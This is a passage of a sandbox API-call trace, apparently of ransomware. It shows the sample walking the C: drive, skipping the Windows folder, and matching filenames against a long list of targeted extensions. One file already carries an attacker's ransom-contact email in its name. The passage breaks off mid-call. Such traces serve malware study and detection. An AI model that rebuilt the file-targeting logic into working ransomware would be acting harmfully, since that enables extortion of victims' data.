(in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6cdc80 | out: hHeap=0x630000) returned 1 [0285.577] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x31f0058 | out: hHeap=0x630000) returned 1 [0285.578] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3200060 | out: hHeap=0x630000) returned 1 [0285.580] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x33e5020 | out: hHeap=0x630000) returned 1 [0285.583] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7065e0 | out: hHeap=0x630000) returned 1 [0285.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9d00 [0285.583] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9d00, Size=0x20) returned 0x3f64758 [0285.583] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x32b9e68 [0285.583] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x32b9e68, Size=0x20) returned 0x3f64708 [0285.583] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0285.583] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0285.583] Wow64DisableWow64FsRedirection (in: OldValue=0x28dff50 | out: OldValue=0x28dff50*=0x1) returned 1 [0285.583] lstrlenW (lpString="kernel32.dll") returned 12 [0285.583] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64708 | out: hHeap=0x630000) returned 1 [0285.583] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0285.583] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f64758 | out: hHeap=0x630000) returned 1 Thread: id = 2567 os_tid = 0x26c8 [0241.203] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x3210068 [0241.204] lstrlenW (lpString="C:") returned 2 [0241.204] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2a1fcf8 | out: lpFindFileData=0x2a1fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77da0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x649e18 [0241.204] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0241.204] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0241.205] lstrlenW (lpString="$GetCurrent") returned 11 [0241.205] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0241.205] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x3220070 [0241.205] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0241.205] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x64a1d8 [0241.228] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0241.228] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0241.229] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0241.229] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0241.230] lstrlenW (lpString="Logs") returned 4 [0241.230] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0241.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfffe) returned 0x3230078 [0241.234] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0241.234] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x64a0d8 [0241.505] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0241.505] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30340f2e, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x30340f2e, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x3038d36e, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DOWNLE~1.COM")) returned 1 [0241.505] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[bitcharity@protonmail.com].com") returned 81 [0241.505] lstrlenW (lpString=".1cd") returned 4 [0241.505] lstrcmpiW (lpString1=".1cd", lpString2=".com") returned -1 [0241.505] lstrlenW (lpString=".3ds") returned 4 [0241.505] lstrcmpiW (lpString1=".3ds", lpString2=".com") returned -1 [0241.505] lstrlenW (lpString=".3fr") returned 4 [0241.505] lstrcmpiW (lpString1=".3fr", lpString2=".com") returned -1 [0241.506] lstrlenW (lpString=".3g2") returned 4 [0241.506] lstrcmpiW (lpString1=".3g2", lpString2=".com") returned -1 [0241.506] lstrlenW (lpString=".3gp") returned 4 [0241.506] lstrcmpiW (lpString1=".3gp", lpString2=".com") returned -1 [0241.506] lstrlenW (lpString=".7z") returned 3 [0241.506] lstrcmpiW (lpString1=".7z", lpString2="com") returned -1 [0241.506] lstrlenW (lpString=".accda") returned 6 [0241.506] lstrcmpiW (lpString1=".accda", lpString2="m].com") returned -1 [0241.506] lstrlenW (lpString=".accdb") returned 6 [0241.506] lstrcmpiW (lpString1=".accdb", lpString2="m].com") returned -1 [0241.506] lstrlenW (lpString=".accdc") returned 6 [0241.506] lstrcmpiW (lpString1=".accdc", lpString2="m].com") returned -1 [0241.506] lstrlenW (lpString=".accde") returned 6 [0241.506] lstrcmpiW (lpString1=".accde", lpString2="m].com") returned -1 [0241.506] lstrlenW (lpString=".accdt") returned 6 [0241.506] lstrcmpiW (lpString1=".accdt", lpString2="m].com") returned -1 [0241.506] lstrlenW (lpString=".accdw") returned 6 [0241.506] lstrcmpiW (lpString1=".accdw", lpString2="m].com") returned -1 [0241.506] lstrlenW (lpString=".adb") returned 4 [0241.507] lstrcmpiW (lpString1=".adb", lpString2=".com") returned -1 [0241.507] lstrlenW (lpString=".adp") returned 4 [0241.507] lstrcmpiW (lpString1=".adp", lpString2=".com") returned -1 [0241.507] lstrlenW (lpString=".ai") returned 3 [0241.507] lstrcmpiW (lpString1=".ai", lpString2="com") returned -1 [0241.507] lstrlenW (lpString=".ai3") returned 4 [0241.507] lstrcmpiW (lpString1=".ai3", lpString2=".com") returned -1 [0241.507] lstrlenW (lpString=".ai4") returned 4 [0241.507] lstrcmpiW (lpString1=".ai4", lpString2=".com") returned -1 [0241.507] lstrlenW (lpString=".ai5") returned 4 [0241.507] lstrcmpiW (lpString1=".ai5", lpString2=".com") returned -1 [0241.507] lstrlenW (lpString=".ai6") returned 4 [0241.507] lstrcmpiW (lpString1=".ai6", lpString2=".com") returned -1 [0241.507] lstrlenW (lpString=".ai7") returned 4 [0241.507] lstrcmpiW (lpString1=".ai7", lpString2=".com") returned -1 [0241.507] lstrlenW (lpString=".ai8") returned 4 [0241.507] lstrcmpiW (lpString1=".ai8", lpString2=".com") returned -1 [0241.507] lstrlenW (lpString=".anim") returned 5 [0241.507] lstrcmpiW (lpString1=".anim", lpString2="].com") returned -1 [0241.507] lstrlenW (lpString=".arw") returned 4 [0241.508] lstrcmpiW (lpString1=".arw", lpString2=".com") returned -1 [0241.508] lstrlenW (lpString=".as") returned 3 [0241.508] lstrcmpiW (lpString1=".as", lpString2="com") returned -1 [0241.508] lstrlenW (lpString=".asa") returned 4 [0241.508] lstrcmpiW (lpString1=".asa", lpString2=".com") returned -1 [0241.508] lstrlenW (lpString=".asc") returned 4 [0241.508] lstrcmpiW (lpString1=".asc", lpString2=".com") returned -1 [0241.508] lstrlenW (lpString=".ascx") returned 5 [0241.508] lstrcmpiW (lpString1=".ascx", lpString2="].com") returned -1 [0241.508] lstrlenW (lpString=".asm") returned 4 [0241.508] lstrcmpiW (lpString1=".asm", lpString2=".com") returned -1 [0241.508] lstrlenW (lpString=".asmx") returned 5 [0241.508] lstrcmpiW (lpString1=".asmx", lpString2="].com") returned -1 [0241.508] lstrlenW (lpString=".asp") returned 4 [0241.508] lstrcmpiW (lpString1=".asp", lpString2=".com") returned -1 [0241.508] lstrlenW (lpString=".aspx") returned 5 [0241.508] lstrcmpiW (lpString1=".aspx", lpString2="].com") returned -1 [0241.508] lstrlenW (lpString=".asr") returned 4 [0241.508] lstrcmpiW (lpString1=".asr", lpString2=".com") returned -1 [0241.508] lstrlenW (lpString=".asx") returned 4 [0241.508] lstrcmpiW (lpString1=".asx", lpString2=".com") returned -1 [0241.508] lstrlenW (lpString=".avi") returned 4 [0241.508] lstrcmpiW (lpString1=".avi", lpString2=".com") returned -1 [0241.509] lstrlenW (lpString=".avs") returned 4 [0241.509] lstrcmpiW (lpString1=".avs", lpString2=".com") returned -1 [0241.509] lstrlenW (lpString=".backup") returned 7 [0241.509] lstrcmpiW (lpString1=".backup", lpString2="om].com") returned -1 [0241.509] lstrlenW (lpString=".bak") returned 4 [0241.509] lstrcmpiW (lpString1=".bak", lpString2=".com") returned -1 [0241.509] lstrlenW (lpString=".bay") returned 4 [0241.509] lstrcmpiW (lpString1=".bay", lpString2=".com") returned -1 [0241.509] lstrlenW (lpString=".bd") returned 3 [0241.509] lstrcmpiW (lpString1=".bd", lpString2="com") returned -1 [0241.509] lstrlenW (lpString=".bin") returned 4 [0241.509] lstrcmpiW (lpString1=".bin", lpString2=".com") returned -1 [0241.509] lstrlenW (lpString=".bmp") returned 4 [0241.509] lstrcmpiW (lpString1=".bmp", lpString2=".com") returned -1 [0241.509] lstrlenW (lpString=".bz2") returned 4 [0241.509] lstrcmpiW (lpString1=".bz2", lpString2=".com") returned -1 [0241.509] lstrlenW (lpString=".c") returned 2 [0241.509] lstrcmpiW (lpString1=".c", lpString2="om") returned -1 [0241.509] lstrlenW (lpString=".cdr") returned 4 [0241.509] lstrcmpiW (lpString1=".cdr", lpString2=".com") returned -1 [0241.509] lstrlenW (lpString=".cer") returned 4 [0241.509] lstrcmpiW (lpString1=".cer", lpString2=".com") returned -1 [0241.509] lstrlenW (lpString=".cf") returned 3 [0241.509] lstrcmpiW (lpString1=".cf", lpString2="com") returned -1 [0241.509] lstrlenW (lpString=".cfc") returned 4 [0241.509] lstrcmpiW (lpString1=".cfc", lpString2=".com") returned -1 [0241.510] lstrlenW (lpString=".cfm") returned 4 [0241.510] lstrcmpiW (lpString1=".cfm", lpString2=".com") returned -1 [0241.510] lstrlenW (lpString=".cfml") returned 5 [0241.510] lstrcmpiW (lpString1=".cfml", lpString2="].com") returned -1 [0241.510] lstrlenW (lpString=".cfu") returned 4 [0241.510] lstrcmpiW (lpString1=".cfu", lpString2=".com") returned -1 [0241.510] lstrlenW (lpString=".chm") returned 4 [0241.510] lstrcmpiW (lpString1=".chm", lpString2=".com") returned -1 [0241.510] lstrlenW (lpString=".cin") returned 4 [0241.510] lstrcmpiW (lpString1=".cin", lpString2=".com") returned -1 [0241.510] lstrlenW (lpString=".class") returned 6 [0241.510] lstrcmpiW (lpString1=".class", lpString2="m].com") returned -1 [0241.510] lstrlenW (lpString=".clx") returned 4 [0241.510] lstrcmpiW (lpString1=".clx", lpString2=".com") returned -1 [0241.510] lstrlenW (lpString=".config") returned 7 [0241.510] lstrcmpiW (lpString1=".config", lpString2="om].com") returned -1 [0241.510] lstrlenW (lpString=".cpp") returned 4 [0241.510] lstrcmpiW (lpString1=".cpp", lpString2=".com") returned 1 [0241.510] lstrlenW (lpString=".cr2") returned 4 [0241.511] lstrcmpiW (lpString1=".cr2", lpString2=".com") returned 1 [0241.511] lstrlenW (lpString=".crt") returned 4 [0241.511] lstrcmpiW (lpString1=".crt", lpString2=".com") returned 1 [0241.511] lstrlenW (lpString=".crw") returned 4 [0241.511] lstrcmpiW (lpString1=".crw", lpString2=".com") returned 1 [0241.511] lstrlenW (lpString=".cs") returned 3 [0241.511] lstrcmpiW (lpString1=".cs", lpString2="com") returned -1 [0241.511] lstrlenW (lpString=".css") returned 4 [0241.511] lstrcmpiW (lpString1=".css", lpString2=".com") returned 1 [0241.511] lstrlenW (lpString=".csv") returned 4 [0241.511] lstrcmpiW (lpString1=".csv", lpString2=".com") returned 1 [0241.511] lstrlenW (lpString=".cub") returned 4 [0241.511] lstrcmpiW (lpString1=".cub", lpString2=".com") returned 1 [0241.511] lstrlenW (lpString=".dae") returned 4 [0241.511] lstrcmpiW (lpString1=".dae", lpString2=".com") returned 1 [0241.511] lstrlenW (lpString=".dat") returned 4 [0241.511] lstrcmpiW (lpString1=".dat", lpString2=".com") returned 1 [0241.511] lstrlenW (lpString=".db") returned 3 [0241.511] lstrcmpiW (lpString1=".db", lpString2="com") returned -1 [0241.512] lstrlenW (lpString=".dbf") returned 4 [0241.512] lstrcmpiW (lpString1=".dbf", lpString2=".com") returned 1 [0241.512] lstrlenW (lpString=".dbx") returned 4 [0241.512] lstrcmpiW (lpString1=".dbx", lpString2=".com") returned 1 [0241.512] lstrlenW (lpString=".dc3") returned 4 [0241.512] lstrcmpiW (lpString1=".dc3", lpString2=".com") returned 1 [0241.512] lstrlenW (lpString=".dcm") returned 4 [0241.512] lstrcmpiW (lpString1=".dcm", lpString2=".com") returned 1 [0241.512] lstrlenW (lpString=".dcr") returned 4 [0241.512] lstrcmpiW (lpString1=".dcr", lpString2=".com") returned 1 [0241.512] lstrlenW (lpString=".der") returned 4 [0241.512] lstrcmpiW (lpString1=".der", lpString2=".com") returned 1 [0241.512] lstrlenW (lpString=".dib") returned 4 [0241.512] lstrcmpiW (lpString1=".dib", lpString2=".com") returned 1 [0241.512] lstrlenW (lpString=".dic") returned 4 [0241.512] lstrcmpiW (lpString1=".dic", lpString2=".com") returned 1 [0241.512] lstrlenW (lpString=".dif") returned 4 [0241.512] lstrcmpiW (lpString1=".dif", lpString2=".com") returned 1 [0241.512] lstrlenW (lpString=".divx") returned 5 [0241.513] lstrcmpiW (lpString1=".divx", lpString2="].com") returned -1 [0241.513] lstrlenW (lpString=".djvu") returned 5 [0241.513] lstrcmpiW (lpString1=".djvu", lpString2="].com") returned -1 [0241.513] lstrlenW (lpString=".dng") returned 4 [0241.513] lstrcmpiW (lpString1=".dng", lpString2=".com") returned 1 [0241.513] lstrlenW (lpString=".doc") returned 4 [0241.513] lstrcmpiW (lpString1=".doc", lpString2=".com") returned 1 [0241.513] lstrlenW (lpString=".docm") returned 5 [0241.513] lstrcmpiW (lpString1=".docm", lpString2="].com") returned -1 [0241.513] lstrlenW (lpString=".docx") returned 5 [0241.513] lstrcmpiW (lpString1=".docx", lpString2="].com") returned -1 [0241.513] lstrlenW (lpString=".dot") returned 4 [0241.513] lstrcmpiW (lpString1=".dot", lpString2=".com") returned 1 [0241.513] lstrlenW (lpString=".dotm") returned 5 [0241.513] lstrcmpiW (lpString1=".dotm", lpString2="].com") returned -1 [0241.513] lstrlenW (lpString=".dotx") returned 5 [0241.513] lstrcmpiW (lpString1=".dotx", lpString2="].com") returned -1 [0241.514] lstrlenW (lpString=".dpx") returned 4 [0241.514] lstrcmpiW (lpString1=".dpx", lpString2=".com") returned 1 [0241.514] lstrlenW (lpString=".dqy") returned 4 [0241.514] lstrcmpiW (lpString1=".dqy", lpString2=".com") returned 1 [0241.514] lstrlenW (lpString=".dsn") returned 4 [0241.514] lstrcmpiW (lpString1=".dsn", lpString2=".com") returned 1 [0241.514] lstrlenW (lpString=".dt") returned 3 [0241.514] lstrcmpiW (lpString1=".dt", lpString2="com") returned -1 [0241.514] lstrlenW (lpString=".dtd") returned 4 [0241.514] lstrcmpiW (lpString1=".dtd", lpString2=".com") returned 1 [0241.514] lstrlenW (lpString=".dwg") returned 4 [0241.514] lstrcmpiW (lpString1=".dwg", lpString2=".com") returned 1 [0241.514] lstrlenW (lpString=".dwt") returned 4 [0241.514] lstrcmpiW (lpString1=".dwt", lpString2=".com") returned 1 [0241.594] lstrlenW (lpString=".dx") returned 3 [0241.594] lstrcmpiW (lpString1=".dx", lpString2="com") returned -1 [0241.594] lstrlenW (lpString=".dxf") returned 4 [0241.594] lstrcmpiW (lpString1=".dxf", lpString2=".com") returned 1 [0241.594] lstrlenW (lpString=".edml") returned 5 [0241.594] lstrcmpiW (lpString1=".edml", lpString2="].com") returned -1 [0241.594] lstrlenW (lpString=".efd") returned 4 [0241.594] lstrcmpiW (lpString1=".efd", lpString2=".com") returned 1 [0241.594] lstrlenW (lpString=".elf") returned 4 [0241.594] lstrcmpiW (lpString1=".elf", lpString2=".com") returned 1 [0241.594] lstrlenW (lpString=".emf") returned 4 [0241.594] lstrcmpiW (lpString1=".emf", lpString2=".com") returned 1 [0241.595] lstrlenW (lpString=".emz") returned 4 [0241.595] lstrcmpiW (lpString1=".emz", lpString2=".com") returned 1 [0241.595] lstrlenW (lpString=".epf") returned 4 [0241.595] lstrcmpiW (lpString1=".epf", lpString2=".com") returned 1 [0241.595] lstrlenW (lpString=".eps") returned 4 [0241.595] lstrcmpiW (lpString1=".eps", lpString2=".com") returned 1 [0241.595] lstrlenW (lpString=".epsf") returned 5 [0241.595] lstrcmpiW (lpString1=".epsf", lpString2="].com") returned -1 [0241.595] lstrlenW (lpString=".epsp") returned 5 [0241.595] lstrcmpiW (lpString1=".epsp", lpString2="].com") returned -1 [0241.595] lstrlenW (lpString=".erf") returned 4 [0241.595] lstrcmpiW (lpString1=".erf", lpString2=".com") returned 1 [0241.595] lstrlenW (lpString=".exr") returned 4 [0241.595] lstrcmpiW (lpString1=".exr", lpString2=".com") returned 1 [0241.595] lstrlenW (lpString=".f4v") returned 4 [0241.595] lstrcmpiW (lpString1=".f4v", lpString2=".com") returned 1 [0241.595] lstrlenW (lpString=".fido") returned 5 [0241.595] lstrcmpiW (lpString1=".fido", lpString2="].com") returned -1 [0241.595] lstrlenW (lpString=".flm") returned 4 [0241.595] lstrcmpiW (lpString1=".flm", lpString2=".com") returned 1 [0241.595] lstrlenW (lpString=".flv") returned 4 [0241.595] lstrcmpiW (lpString1=".flv", lpString2=".com") returned 1 [0241.595] lstrlenW (lpString=".frm") returned 4 [0241.595] lstrcmpiW (lpString1=".frm", lpString2=".com") returned 1 [0241.596] lstrlenW (lpString=".fxg") returned 4 [0241.596] lstrcmpiW (lpString1=".fxg", lpString2=".com") returned 1 [0241.596] lstrlenW (lpString=".geo") returned 4 [0241.596] lstrcmpiW (lpString1=".geo", lpString2=".com") returned 1 [0241.596] lstrlenW (lpString=".gif") returned 4 [0241.596] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0241.596] lstrlenW (lpString=".grs") returned 4 [0241.596] lstrcmpiW (lpString1=".grs", lpString2=".com") returned 1 [0241.596] lstrlenW (lpString=".gz") returned 3 [0241.596] lstrcmpiW (lpString1=".gz", lpString2="com") returned -1 [0241.596] lstrlenW (lpString=".h") returned 2 [0241.596] lstrcmpiW (lpString1=".h", lpString2="om") returned -1 [0241.596] lstrlenW (lpString=".hdr") returned 4 [0241.596] lstrcmpiW (lpString1=".hdr", lpString2=".com") returned 1 [0241.596] lstrlenW (lpString=".hpp") returned 4 [0241.596] lstrcmpiW (lpString1=".hpp", lpString2=".com") returned 1 [0241.596] lstrlenW (lpString=".hta") returned 4 [0241.596] lstrcmpiW (lpString1=".hta", lpString2=".com") returned 1 [0241.596] lstrlenW (lpString=".htc") returned 4 [0241.596] lstrcmpiW (lpString1=".htc", lpString2=".com") returned 1 [0241.596] lstrlenW (lpString=".htm") returned 4 [0241.596] lstrcmpiW (lpString1=".htm", lpString2=".com") returned 1 [0241.596] lstrlenW (lpString=".html") returned 5 [0241.596] lstrcmpiW (lpString1=".html", lpString2="].com") returned -1 [0241.596] lstrlenW (lpString=".icb") returned 4 [0241.596] lstrcmpiW (lpString1=".icb", lpString2=".com") returned 1 [0241.701] lstrlenW (lpString=".ics") returned 4 [0241.701] lstrcmpiW (lpString1=".ics", lpString2=".com") returned 1 [0241.701] lstrlenW (lpString=".iff") returned 4 [0241.701] lstrcmpiW (lpString1=".iff", lpString2=".com") returned 1 [0241.701] lstrlenW (lpString=".inc") returned 4 [0241.701] lstrcmpiW (lpString1=".inc", lpString2=".com") returned 1 [0241.701] lstrlenW (lpString=".indd") returned 5 [0241.701] lstrcmpiW (lpString1=".indd", lpString2="].com") returned -1 [0241.701] lstrlenW (lpString=".ini") returned 4 [0241.701] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0241.701] lstrlenW (lpString=".iqy") returned 4 [0241.701] lstrcmpiW (lpString1=".iqy", lpString2=".com") returned 1 [0241.701] lstrlenW (lpString=".j2c") returned 4 [0241.701] lstrcmpiW (lpString1=".j2c", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".j2k") returned 4 [0241.702] lstrcmpiW (lpString1=".j2k", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".java") returned 5 [0241.702] lstrcmpiW (lpString1=".java", lpString2="].com") returned -1 [0241.702] lstrlenW (lpString=".jp2") returned 4 [0241.702] lstrcmpiW (lpString1=".jp2", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".jpc") returned 4 [0241.702] lstrcmpiW (lpString1=".jpc", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".jpe") returned 4 [0241.702] lstrcmpiW (lpString1=".jpe", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".jpeg") returned 5 [0241.702] lstrcmpiW (lpString1=".jpeg", lpString2="].com") returned -1 [0241.702] lstrlenW (lpString=".jpf") returned 4 [0241.702] lstrcmpiW (lpString1=".jpf", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".jpg") returned 4 [0241.702] lstrcmpiW (lpString1=".jpg", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".jpx") returned 4 [0241.702] lstrcmpiW (lpString1=".jpx", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".js") returned 3 [0241.702] lstrcmpiW (lpString1=".js", lpString2="com") returned -1 [0241.702] lstrlenW (lpString=".jsf") returned 4 [0241.702] lstrcmpiW (lpString1=".jsf", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".json") returned 5 [0241.702] lstrcmpiW (lpString1=".json", lpString2="].com") returned -1 [0241.702] lstrlenW (lpString=".jsp") returned 4 [0241.702] lstrcmpiW (lpString1=".jsp", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".kdc") returned 4 [0241.702] lstrcmpiW (lpString1=".kdc", lpString2=".com") returned 1 [0241.702] lstrlenW (lpString=".kmz") returned 4 [0241.702] lstrcmpiW (lpString1=".kmz", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".kwm") returned 4 [0241.703] lstrcmpiW (lpString1=".kwm", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".lasso") returned 6 [0241.703] lstrcmpiW (lpString1=".lasso", lpString2="m].com") returned -1 [0241.703] lstrlenW (lpString=".lbi") returned 4 [0241.703] lstrcmpiW (lpString1=".lbi", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".lgf") returned 4 [0241.703] lstrcmpiW (lpString1=".lgf", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".lgp") returned 4 [0241.703] lstrcmpiW (lpString1=".lgp", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".log") returned 4 [0241.703] lstrcmpiW (lpString1=".log", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".m1v") returned 4 [0241.703] lstrcmpiW (lpString1=".m1v", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".m4a") returned 4 [0241.703] lstrcmpiW (lpString1=".m4a", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".m4v") returned 4 [0241.703] lstrcmpiW (lpString1=".m4v", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".max") returned 4 [0241.703] lstrcmpiW (lpString1=".max", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".md") returned 3 [0241.703] lstrcmpiW (lpString1=".md", lpString2="com") returned -1 [0241.703] lstrlenW (lpString=".mda") returned 4 [0241.703] lstrcmpiW (lpString1=".mda", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".mdb") returned 4 [0241.703] lstrcmpiW (lpString1=".mdb", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".mde") returned 4 [0241.703] lstrcmpiW (lpString1=".mde", lpString2=".com") returned 1 [0241.703] lstrlenW (lpString=".mdf") returned 4 [0241.703] lstrcmpiW (lpString1=".mdf", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mdw") returned 4 [0241.704] lstrcmpiW (lpString1=".mdw", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mef") returned 4 [0241.704] lstrcmpiW (lpString1=".mef", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mft") returned 4 [0241.704] lstrcmpiW (lpString1=".mft", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mfw") returned 4 [0241.704] lstrcmpiW (lpString1=".mfw", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mht") returned 4 [0241.704] lstrcmpiW (lpString1=".mht", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mhtml") returned 6 [0241.704] lstrcmpiW (lpString1=".mhtml", lpString2="m].com") returned -1 [0241.704] lstrlenW (lpString=".mka") returned 4 [0241.704] lstrcmpiW (lpString1=".mka", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mkidx") returned 6 [0241.704] lstrcmpiW (lpString1=".mkidx", lpString2="m].com") returned -1 [0241.704] lstrlenW (lpString=".mkv") returned 4 [0241.704] lstrcmpiW (lpString1=".mkv", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mos") returned 4 [0241.704] lstrcmpiW (lpString1=".mos", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mov") returned 4 [0241.704] lstrcmpiW (lpString1=".mov", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mp3") returned 4 [0241.704] lstrcmpiW (lpString1=".mp3", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mp4") returned 4 [0241.704] lstrcmpiW (lpString1=".mp4", lpString2=".com") returned 1 [0241.704] lstrlenW (lpString=".mpeg") returned 5 [0241.704] lstrcmpiW (lpString1=".mpeg", lpString2="].com") returned -1 [0241.704] lstrlenW (lpString=".mpg") returned 4 [0241.705] lstrcmpiW (lpString1=".mpg", lpString2=".com") returned 1 [0241.705] lstrlenW 